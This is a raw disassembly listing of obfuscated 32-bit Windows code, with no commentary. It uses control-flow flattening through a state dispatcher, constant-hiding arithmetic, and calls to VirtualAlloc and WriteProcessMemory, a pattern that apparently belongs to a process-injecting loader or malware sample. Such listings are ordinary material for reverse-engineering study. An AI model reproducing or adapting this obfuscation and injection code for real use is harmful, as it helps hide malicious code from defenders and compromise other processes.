jmp 0x10006219
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0x10007
mov dword [ebp - 0x174], 0xa5ec94f6
jmp 0x10006219
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002510
add esp, 4
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x174], 0x6540fb18
jmp 0x10006219
mov dword [ebp - 0x174], 0xc59e0f23
jmp 0x10006219
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x174], 0x98fb2144
jmp 0x10006219
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x174], 0xfdbef5c8
jmp 0x10006219
mov eax, dword [ebp - 0x160]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x174], 0x66ecf29b
jmp 0x10006219
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x160]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x170]
mov edx, dword [ebp - 0x108]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x5cbd51ba
or eax, esi
or edx, 0x5cbd51ba
xor eax, 0xffffffff
and eax, edx
add ecx, 0xb0788a15
add ecx, eax
sub ecx, 0xb0788a15
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x174], 0x64cf0aa8
jmp 0x10006219
mov dword [ebp - 0x174], 0x39a43f0f
jmp 0x10006219
mov dword [ebp - 0x174], 0xce9ce1bd
jmp 0x10006219
mov dword [ebp - 0x174], 0xf4c4c3be
jmp 0x10006219
mov ecx, dword [ebp - 0x12c]
add ecx, 0x30d3e21f
add ecx, 8
sub ecx, 0x30d3e21f
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x174], 0x4e183e8e
jmp 0x10006219
jmp 0x10002d20